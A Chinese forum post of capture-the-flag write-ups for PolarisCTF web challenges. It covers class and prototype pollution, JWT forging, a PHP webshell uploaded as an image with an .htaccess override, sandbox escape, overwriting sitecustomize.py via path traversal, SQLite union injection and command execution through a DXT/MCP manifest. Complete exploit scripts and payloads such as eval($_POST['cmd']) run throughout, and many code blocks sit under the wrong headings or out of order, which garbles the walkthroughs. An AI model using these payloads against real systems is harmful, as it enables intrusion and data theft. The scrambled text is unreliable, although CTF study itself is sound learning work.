0基础也能看懂的,polarisctf部分web题wp
ez_python
题目
- from flask import Flask, request
- import json
- app = Flask(__name__)
- def merge(src, dst):
- for k, v in src.items():
- if hasattr(dst, '__getitem__'):
- if dst.get(k) and type(v) == dict:
- merge(v, dst.get(k))
- else:
- dst[k] = v
- elif hasattr(dst, k) and type(v) == dict:
- merge(v, getattr(dst, k))
- else:
- setattr(dst, k, v)
- class Config:
- def __init__(self):
- self.filename = "app.py"
- class Polaris:
- def __init__(self):
- self.config = Config()
- instance = Polaris()
- @app.route('/', methods=['GET', 'POST'])
- def index():
- if request.data:
- merge(json.loads(request.data), instance)
- return "Welcome to Polaris CTF"
- @app.route('/read')
- def read():
- return open(instance.config.filename).read()
- @app.route('/src')
- def src():
- return open(__file__).read()
- if __name__ == '__main__':
- app.run(host='0.0.0.0', port=5000, debug=False)
复制代码 解
- @app.route('/read')
- def read():
- return open(instance.config.filename).read()
复制代码 目标是污染instance.config.filename为flag- {"config": {"filename": "/flag"}}
复制代码 only real
题目
解
源代码泄露账号密码- [/code]登录时抓包发现有token并且登录后无法操作,猜测伪造token
- [code]eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ5NDU5MjJ9.oklvvL_iH2xPICwCpsImEtoYgHdXe8y6GXNsbnsB-T4
复制代码 爆破出key=cdef
改token的role=xmuser,发现还是无法操作
修改role=admin,发现可以操作了(其实直接改前端代码把disabled删掉也可以)- eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3NzQ5NDU5MjIsInJvbGUiOiJhZG1pbiIsInN1YiI6IjEifQ.w6j2pDZ0eThtl-bUz0HBzRSxcKRT06J-kYAx6Ysu6Pw
复制代码 随便传个1.php果然有限制,试试1.jpg图片马- #define width 1337
- #define height 1337
- <?php eval($_POST['cmd']); ?>
复制代码- [/code]均提示文件内容包含非法关键字
- [size=4]法一:chr绕过[/size]
- 尝试绕过关键字限制
- [code]
复制代码 提示上传成功,这里虽然没有回显保存的路径,但是可以猜测是/upload/文件名/jpg
下面是ai写的一把梭脚本- AddType application/x-httpd-php .jpg
复制代码 法三:关键词绕过
- [/code]抓包改后缀然后访问即可
- [size=6]ezpollute[/size]
- [size=5]前置知识[/size]
- [b]NODE_OPTIONS 环境变量[/b]
- NODE_OPTIONS 是Node.js的环境变量,用于在启动Node.js时自动添加命令行参数。
- [code]import requests
- import jwt
- import re
- import sys
- sys.stdout.reconfigure(encoding='utf-8')
- target_url = "这里填写靶机地址"
- session = requests.Session()
- print("=" * 60)
- print("CTF Challenge Solver - JWT伪造 + 文件上传绕过")
- print("=" * 60)
- print("\n[步骤1] 登录获取token...")
- resp = session.post(f"{target_url}/login.php", data={"user": "xmuser", "pass": "123456"})
- token = session.cookies.get("token")
- print(f"[+] Token获取成功")
- print("\n[步骤2] 解码并伪造admin token...")
- payload = jwt.decode(token, options={"verify_signature": False})
- print(f"[*] 原始payload: {payload}")
- payload["role"] = "admin"
- forged_token = jwt.encode(payload, "cdef", algorithm="HS256")
- if isinstance(forged_token, bytes):
- forged_token = forged_token.decode()
- session.cookies.set("token", forged_token)
- print(f"[+] Admin token伪造成功")
- print("\n[步骤3] 上传.htaccess配置文件...")
- upload_url = f"{target_url}/upload.php"
- htaccess_content = "AddType application/x-httpd-php .jpg"
- files = {"file": (".htaccess", htaccess_content, "text/plain")}
- resp = session.post(upload_url, files=files)
- print(f"[*] 响应: {resp.text}")
- print("\n[步骤4] 上传图片马...")
- image_data = b"GIF89a<?php @eval($_POST['cmd']);?>"
- files = {"file": ("cmd.jpg", image_data, "image/jpeg")}
- resp = session.post(upload_url, files=files)
- print(f"[*] 响应: {resp.text}")
- print("\n[步骤5] 执行命令获取flag...")
- shell_url = f"{target_url}/uploads/cmd.jpg"
- print(f"[*] Shell URL: {shell_url}")
- commands = [
- "system('cat /flag');",
- "system('cat /flag.txt');",
- "system('ls -la /');",
- "system('find / -name flag* 2>/dev/null');",
- "echo file_get_contents('/flag');",
- "print_r(glob('/*'));",
- "system('cat /var/www/html/flag*');",
- ]
- for cmd in commands:
- try:
- resp = session.post(shell_url, data={"cmd": cmd})
- result = resp.text
- print(f"\n[*] 执行: {cmd}")
- print(f"[*] 结果: {result}")
-
- flag_match = re.search(r'flag\{[^}]+\}', result, re.IGNORECASE)
- if flag_match:
- print(f"\n{'='*60}")
- print(f"[+] 成功获取FLAG: {flag_match.group(0)}")
- print(f"{'='*60}")
- with open("flag.txt", "w") as f:
- f.write(flag_match.group(0))
- break
- except Exception as e:
- print(f"[-] 执行失败: {e}")
- print("\n[步骤6] 尝试其他方式...")
- shell_url = f"{target_url}/uploads/cmd.jpg"
- print("[*] 尝试直接GET请求执行...")
- resp = session.get(f"{shell_url}?cmd=system('cat /flag');")
- print(f"[*] GET结果: {resp.text}")
- print("\n[*] 尝试phpinfo...")
- resp = session.post(shell_url, data={"cmd": "phpinfo();"})
- if "PHP Version" in resp.text:
- print("[+] PHP代码执行成功!")
- print(f"[*] 响应长度: {len(resp.text)}")
复制代码 -r 参数的作用:在Node.js启动时预加载指定模块。- <?= readfile(glob("/fl*")[0]); ?>
复制代码 -r = --require意思是:启动 Node 时,先加载并执行这个文件里的 JS 代码,开发环境常用于设置环境变量。
并且报错时会把出错的那一行打印出来
题目
- # 设置NODE_OPTIONS
- export NODE_OPTIONS="-r /path/to/script.js"
- # 当运行node命令时,相当于
- node -r /path/to/script.js your_script.js
复制代码 解
审计代码,应该是一道node.js的原型链污染题目
看污染部分逻辑只过滤了__proto__关键词,但我们还是可以使用{"constructor": {"prototype": {"key": "value"}}} 污染
再看到/api/status路由- const express = require('express');
- const { spawn } = require('child_process');
- const path = require('path');
- const app = express();
- app.use(express.json());
- app.use(express.static(__dirname));
- function merge(target, source, res) {
- for (let key in source) {
- if (key === '__proto__') {
- if (res) {
- res.send('get out!');
- return;
- }
- continue;
- }
-
- if (source[key] instanceof Object && key in target) {
- merge(target[key], source[key], res);
- } else {
- target[key] = source[key];
- }
- }
- }
- let config = {
- name: "CTF-Guest",
- theme: "default"
- };
- app.post('/api/config', (req, res) => {
- let userConfig = req.body;
- const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
- const bodyStr = JSON.stringify(userConfig).toLowerCase();
- for (let word of forbidden) {
- if (bodyStr.includes(`"${word}"`)) {
- return res.status(403).json({ error: `Forbidden keyword detected: ${word}` });
- }
- }
- try {
- merge(config, userConfig, res);
- res.json({ status: "success", msg: "Configuration updated successfully." });
- } catch (e) {
- res.status(500).json({ status: "error", message: "Internal Server Error" });
- }
- });
- app.get('/api/status', (req, res) => {
- const customEnv = Object.create(null);
- for (let key in process.env) {
- if (key === 'NODE_OPTIONS') {
- const value = process.env[key] || "";
- const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
- if (!dangerousPattern.test(value)) {
- customEnv[key] = value;
- }
- continue;
- }
- customEnv[key] = process.env[key];
- }
-
- const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], {
- env: customEnv,
- shell: false
- });
-
- let output = '';
- proc.stdout.on('data', (data) => { output += data; });
- proc.stderr.on('data', (data) => { output += data; });
-
- proc.on('close', (code) => {
- res.json({
- status: "checked",
- info: output.trim() || "No output from system check."
- });
- });
- });
- app.get('/', (req, res) => {
- res.sendFile(path.join(__dirname, 'index.html'));
- });
- // Flag 位于 /flag
- app.listen(3000, '0.0.0.0', () => {
- console.log('Server running on port 3000');
- });
复制代码 创建了一个没有原型的对象,但是由于在后面- function merge(target, source, res) {
- for (let key in source) {
- if (key === '__proto__') {
- if (res) {
- res.send('get out!');
- return;
- }
- continue;
- }
-
- if (source[key] instanceof Object && key in target) {
- merge(target[key], source[key], res);
- } else {
- target[key] = source[key];
- }
- }
- }
复制代码 讲process.env的参数赋给customEnv
所以我们仍然可以污染process.env的原型来间接污染customEnv
发送污染Payload
- const customEnv = Object.create(null);
复制代码 再访问 /api/status ,此时:
- 创建子进程 node -e 'console.log(...)'
- 子进程继承被污染的 process.env.NODE_OPTIONS
- 实际执行:node -r /flag -e 'console.log(...)'
- Node.js 尝试预加载 /flag 文件
- /flag 内容 XMCTF{...} 不是合法JS,报错
- 错误信息中包含 flag 内容
ai一把梭脚本- for (let key in process.env) {
- if (key === 'NODE_OPTIONS') {
- const value = process.env[key] || "";
- const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
- if (!dangerousPattern.test(value)) {
- customEnv[key] = value;
- }
- continue;
- }
- customEnv[key] = process.env[key];
- }
复制代码 Not a Node
前置知识
使用Error.prepareStackTrace技巧
这是一个V8/JSC引擎的特性,用于自定义错误堆栈的显示方式。- POST /api/config HTTP/1.1
- Content-Type: application/json
- {
- "constructor": {
- "prototype": {
- "NODE_OPTIONS": "-r /flag"
- }
- }
- }
复制代码 原理:当JavaScript引擎准备显示错误堆栈时,会调用Error.prepareStackTrace函数。通过修改这个函数,我们可以在错误发生时执行自定义代码。
获取全局对象
使用(0, eval)("this")技巧:- import requests
- import re
- target_url = "http://target_url"
- session = requests.Session()
- # Step 1: 发送污染payload
- payload = {
- "constructor": {
- "prototype": {
- "NODE_OPTIONS": "-r /flag"
- }
- }
- }
- resp = session.post(
- f"{target_url}/api/config",
- json=payload,
- headers={"Content-Type": "application/json"}
- )
- print(f"[+] 污染结果: {resp.text}")
- # Step 2: 触发漏洞
- resp = session.get(f"{target_url}/api/status")
- print(f"[+] 触发结果: {resp.text}")
- # Step 3: 提取flag
- flag_match = re.search(r'(XMCTF|flag)\{[^}]+\}', resp.text, re.IGNORECASE)
- if flag_match:
- print(f"[+] FLAG: {flag_match.group(0)}")
复制代码 为什么这样写?
- (0, eval)是JavaScript的一个技巧,确保eval在全局作用域执行
格式?- // 定义自定义的堆栈格式化函数
- Error.prepareStackTrace = function(error, stack) {
- // error: 错误对象
- // stack: CallSite对象数组,包含调用栈信息
- return "custom stack";
- };
- // 触发一个错误来测试
- try {
- throw new Error("test");
- } catch (e) {
- console.log(e.stack);
- }
复制代码 关于JSC
JSC = JavaScriptCore
是 Safari / 边缘计算用的浏览器引擎,无 Node.js 原生 API
关于Uint8Array
Uint8Array是JavaScript中的类型化数组,用于表示8位无符号整数数组。它可以用来处理二进制数据。- // (0, eval) 将eval作为普通函数调用,而不是直接调用
- // "this" 在eval中指向全局对象
- let global = (0, eval)("this");
- console.log(global);
复制代码 而二进制数据,一般直接作为原始字节传递,不被当作字符串处理
题目
我们搭建了一个“安全”的在线 JavaScript 运行平台。
你提交的代码会被放进一个精心准备的沙箱中运行,一切看起来很干净
解
拿到题不会做也没啥想法,跟着ai走一遍学习学习
第一步:信息收集
网站右侧- (0, eval)
- (1, eval)
- (null, eval)
- ('', eval)
- [eval][0]
- window.eval #浏览器中
- global.eval #node.js中
复制代码 说明无法使用node.js原生api- // 创建一个Uint8Array
- let arr = new Uint8Array([72, 101, 108, 108, 111]); // "Hello"
- // 将字符串转为Uint8Array
- let encoder = new TextEncoder();
- let bytes = encoder.encode("Hello"); // Uint8Array [72, 101, 108, 108, 111]
- // 将Uint8Array转回字符串
- let decoder = new TextDecoder();
- let str = decoder.decode(bytes); // "Hello"
复制代码 泄露使用了__runtime 的几个函数- Fetch API standards fully supported in the JSC sandboxed context.
- #Fetch API 标准在 JSC 沙箱环境中被完全支持。
复制代码 提示可能利用__runtime 的其他函数?
第二步:进一步信息收集找可利用方法
探测runtime中的可用属性,注意由于返回内容包含对象,要使用JSON.stringify处理返回内容,并且需要Object.getOwnPropertyNames获取所有属性(否则函数,下划线开头等属性不会显示)- __runtime.hash(str)
- High-performance DJB2 hashing.
- __runtime.encoding.hexEncode(s)
- e.g. hexEncode("internal") -> 696e7465...
复制代码 可以发现runtime中"_debug" "_secrets" "_internal"这三个比较可疑
分别列出其中可用函数- Advanced
- The runtime exposes documented APIs through the __runtime global. Platform orchestration may rely on additional internal bindings not listed here.
- #高级
- #运行时通过 __runtime 全局对象暴露已公开的 API。
- #平台调度可能依赖此处未列出的其他内部绑定(方法)。
复制代码- export default {
- async fetch(req) {
- let runtime = (0, eval)("this").__runtime;
- // 列出所有自身属性(包括 _internal / _secrets / _debug)
- let allKeys = Object.getOwnPropertyNames(runtime);
- return new Response(JSON.stringify(allKeys));
- }
- };
- //回显
- //["hash","strlen","platform","perf","encoding","_debug","_secrets","_internal"]
复制代码 没啥发现,挨个看看
在看到_internal.lib.symbols时- export default {
- async fetch(req) {
- let s = __runtime._secrets;
- // 看 _secrets 下有哪些函数/属性
- let keys = Object.getOwnPropertyNames(s);
- return new Response(JSON.stringify(keys));
- }
- };
复制代码 0x开头推测是16进制,解码一下分别是read和list
尝试直接调用read函数读/flag- _debug : ["enabled","trace","dump","inspect"]
- _secrets : ["get","list"]
- _internal : ["debug","lib"]
复制代码 错误信息告诉我们几个重要信息:
- 路径被修改了:我们传入的是"/flag",但系统收到的是"/app/\u0000\u0000..."
- 支持Uint8Array:错误说参数可以是string、Uint8Array或URL
- null bytes问题:路径中出现了\u0000(空字符)
推测:
- 系统在处理字符串路径时,会在前面加上/app/
- 可能因为某些内存对齐问题,后面跟着空字节
- 但如果使用Uint8Array,可能绕过这个处理
- export default {
- async fetch(req) {
- let s = __runtime._internal.lib.symbols;
- let keys = Object.getOwnPropertyNames(s);
- return new Response(JSON.stringify(keys));
- }
- };
- //回显
- //["_0x72656164","_0x6c697374"]
复制代码 拿到flag
AutoPypy
前置知识
site模块
site模块在Python启动时自动导入,负责:
- 添加site-packages到sys.path
- 当 Python 启动时,site 模块会按这个顺序自动执行:
- 导入 sitecustomize.py
- 导入 usercustomize.py
- 处理 .pth 文件
sitecustomize.py(系统级)
这是Python的特殊文件,在解释器启动时自动导入:- export default {
- async fetch(request) {
- let flag = __runtime._internal.lib.symbols._0x72656164('/flag');
- return new Response(JSON.stringify(flag));
- }
- }
- //回显
- //"ERROR: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received "/app/\\u0000\\u0000\\u0000\\u0000\\u0000""
复制代码 usercustomize.py(用户级)
与前者类似,同样自动执行
os.path.join的特性
os.path.join在Unix上如果第二部分是绝对路径,会返回第二部分!- export default {
- async fetch(request) {
- let encoder = new TextEncoder();
- let path = encoder.encode("/flag");
- let flag = __runtime._internal.lib.symbols._0x72656164(path);
- return new Response(JSON.stringify(flag));
- }
- }
- //回显
- //xmctf{......}
复制代码 也可以- # sitecustomize.py
- import os
- os.system('cat /flag') # 每次Python启动都执行,我们可以插入恶意代码,每次运行时都会自动执行
复制代码 题目
server.py- os.path.join('/app/uploads', '/etc/passwd') # /etc/passwd
复制代码 launcher.py- path = os.path.join('/app/uploads', '../../../etc/passwd')
复制代码 解
简单代码审计- import os
- import sys
- import subprocess
- from flask import Flask, request, render_template, jsonify
- app = Flask(__name__)
- BASE_DIR = os.path.dirname(os.path.abspath(__file__))
- UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
- if not os.path.exists(UPLOAD_FOLDER):
- os.makedirs(UPLOAD_FOLDER)
- @app.route('/')
- def index():
- return render_template("index.html")
- @app.route('/upload', methods=['POST'])
- def upload():
- if 'file' not in request.files:
- return 'No file part', 400
-
- file = request.files['file']
- filename = request.form.get('filename') or file.filename
-
- save_path = os.path.join(UPLOAD_FOLDER, filename)
-
- save_dir = os.path.dirname(save_path)
- if not os.path.exists(save_dir):
- try:
- os.makedirs(save_dir)
- except OSError:
- pass
- try:
- file.save(save_path)
- return f'成功上传至: {save_path}'
- except Exception as e:
- return f'上传失败: {str(e)}', 500
- @app.route('/run', methods=['POST'])
- def run_code():
- data = request.get_json()
- filename = data.get('filename')
- target_file = os.path.join('/app/uploads', filename)
- launcher_path = os.path.join(BASE_DIR, 'launcher.py')
- try:
- proc = subprocess.run(
- [sys.executable, launcher_path, target_file],
- capture_output=True,
- text=True,
- timeout=5,
- cwd=BASE_DIR
- )
- return jsonify({"output": proc.stdout + proc.stderr})
- except subprocess.TimeoutExpired:
- return jsonify({"output": "Timeout"})
- if __name__ == '__main__':
- import site
- print(f"[*] Server started.")
- print(f"[*] Upload Folder: {UPLOAD_FOLDER}")
- print(f"[*] Target site-packages (Try to reach here): {site.getsitepackages()[0]}")
- app.run(host='0.0.0.0', port=5000)
复制代码
- filename可控(通过request.form.get('filename'))
- os.path.join可能存在路径穿越
考虑覆盖sitecustomize.py
我们可以通过一段命令查看路径- import subprocess
- import sys
- def run_sandbox(script_name):
- print("Launching sandbox...")
- cmd = [
- 'proot',
- '-r', './jail_root',
- '-b', '/bin',
- '-b', '/usr',
- '-b', '/lib',
- '-b', '/lib64',
- '-b', '/etc/alternatives',
- '-b', '/dev/null',
- '-b', '/dev/zero',
- '-b', '/dev/urandom',
- '-b', f'{script_name}:/app/run.py',
- '-w', '/app',
- 'python3', 'run.py'
- ]
- subprocess.call(cmd)
- print("ok")
- if __name__ == "__main__":
- script = sys.argv[1]
- run_sandbox(script)
复制代码 或者ai说还有一个规则:
Linux 中,Python 的第三方包目录 永远是这个格式:- file = request.files['file']
- # 从请求参数或文件名获取保存路径
- filename = request.form.get('filename') or file.filename
-
- # 路径穿越漏洞!
- save_path = os.path.join(UPLOAD_FOLDER, filename)
-
- # 创建目录
- save_dir = os.path.dirname(save_path)
复制代码 X.Y = 大版本号(只取前两位,3.10.19 → 3.10)
创建恶意sitecustomize.py并上传- import site
- import sys
- print("site:", site.getsitepackages())#存放第三方库的位置
- print("sys.path:", sys.path)#加载模块的路径列表
- #回显
- #site: ['/usr/local/lib/python3.10/site-packages']
- #sys.path: ['/app', '/usr/local/lib/python310.zip', '/usr/local/lib/python3.10', '/usr/local/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/site-packages']
复制代码- ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bbContent-Disposition: form-data; name="file"; filename="1.py"Content-Type: image/jpegimport site
- import sys
- print("site:", site.getsitepackages())#存放第三方库的位置
- print("sys.path:", sys.path)#加载模块的路径列表
- #回显
- #site: ['/usr/local/lib/python3.10/site-packages']
- #sys.path: ['/app', '/usr/local/lib/python310.zip', '/usr/local/lib/python3.10', '/usr/local/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/site-packages']------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bbContent-Disposition: form-data; name="filename"../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb--#回显#成功上传至: /app/uploads/../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py
复制代码 然后执行任意文件就拿到flag了
同样的,除了sitecustomize.py我们还可以用usercustomize.py
但是要注意路径不一样- import os
- print(open('/flag').read())
复制代码 其余步骤与前者相同
Broken Trust
题目
某FlaskWeb应用提供了一个仅管理员可访问的备份读取接口。
神通广大的CTFer是否能发现逻辑缺陷,拿到敏感文件呢
解
注册拿uid登录,发现有特定的工具但是Only users with the admin role can access the backup interface.
发现cooki中有- ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb
- Content-Disposition: form-data; name="file"; filename="1.py"
- Content-Type: image/jpeg
- import os
- print(open('/flag').read())
- ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb
- Content-Disposition: form-data; name="filename"
- ../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py
- ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb--
- #回显
- #成功上传至: /app/uploads/../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py
复制代码 尝试爆破- import site
- print(site.getusersitepackages())
- #回显
- #/home/ctf/.local/lib/python3.10/site-packages
复制代码 失败
源代码提取不到什么信息
抓包探索一下功能
发现Refresh Session Data功能会把uid POST给/api/profile,而我们知道profile一般和用户配置文件有关,并且返回内容是我们注册时的名称,可能有查询功能,考虑下sql?
尝试在UID参数中添加单引号:- session=eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0
复制代码 提到了database error数据库错误
测试回显:- flask-unsign --unsign --cookie "eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0" --wordlist E:\字典\flask_secrets.txt
复制代码 尝试不同数据库的获取版本的语句- {"uid":"95966c24a243402595d6021290558a79'"}
- 回显
- {"details":"unrecognized token: "'95966c24a243402595d6021290558a79''"","error":"Database error"}
复制代码 确定是sqlite
爆数据库内容- {"uid":"95966c24a243402595d6021290558a79' union select 1,2,3 --"}
- 回显
- {"role":3,"uid":1,"username":2}
复制代码 我们的uid是95966...另一个应该就是admin了
拿uid去登录,admin专属工具是一个任意文件读取- {"uid":"95966c24a243402595d6021290558a79' union select sqlite_version(),2,3-- -"}
- 回显
- {"role":3,"uid":"3.34.1","username":2}
复制代码 我们尝试路径遍历
....读不到flag,猜测有过滤
尝试双重url编码(双写../也可以)- {"uid":"95966c24a243402595d6021290558a79' union select 1,2,(select group_concat(uid) from users)--"}
- 回显
- {"role":"72adb8bc58dc4028bc694124095b111a,95966c24a243402595d6021290558a79","uid":1,"username":2}
复制代码 拿到flag
DXT
前置知识
什么是DXT文件?
DXT是一种用于打包和分发MCP(Model Context Protocol)服务的文件格式。
DXT文件结构
DXT文件本质上是一个ZIP压缩包,包含:- /api/admin?action=backup&file=config.json
复制代码 什么是MCP?
MCP(Model Context Protocol)是一种协议,用于AI模型与外部服务交互。
MCP配置
MCP服务通过command和args指定启动命令:- ../../../flag
- %252e%252e%252f%252e%252e%252f%252e%252e%252f%2566%256c%2561%2567
复制代码 如果command和args可控,可以执行任意命令!
题目
一个简单的mcp_server
解
先试试php一句话木马,要求后缀.dxt
随便上传一个.dxt后缀的文件- evil.dxt (ZIP文件)
- ├── manifest.json # 配置文件
- └── dummy.txt # 占位文件
复制代码 看来需要按照正确格式上传
下面就靠ai教了- {
- "mcp_config": {
- "command": "/bin/sh",
- "args": ["-c", "echo hello"]
- }
- }
复制代码 然后把生成的dxt文件上传并允许,在vps上开- Upload failed: Failed to unpack DXT file: failed to open dxt file: zip: not a valid zip file
复制代码 即可拿到shell(尝试python和bash弹shell好像都失败了,但是nc成功了)
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |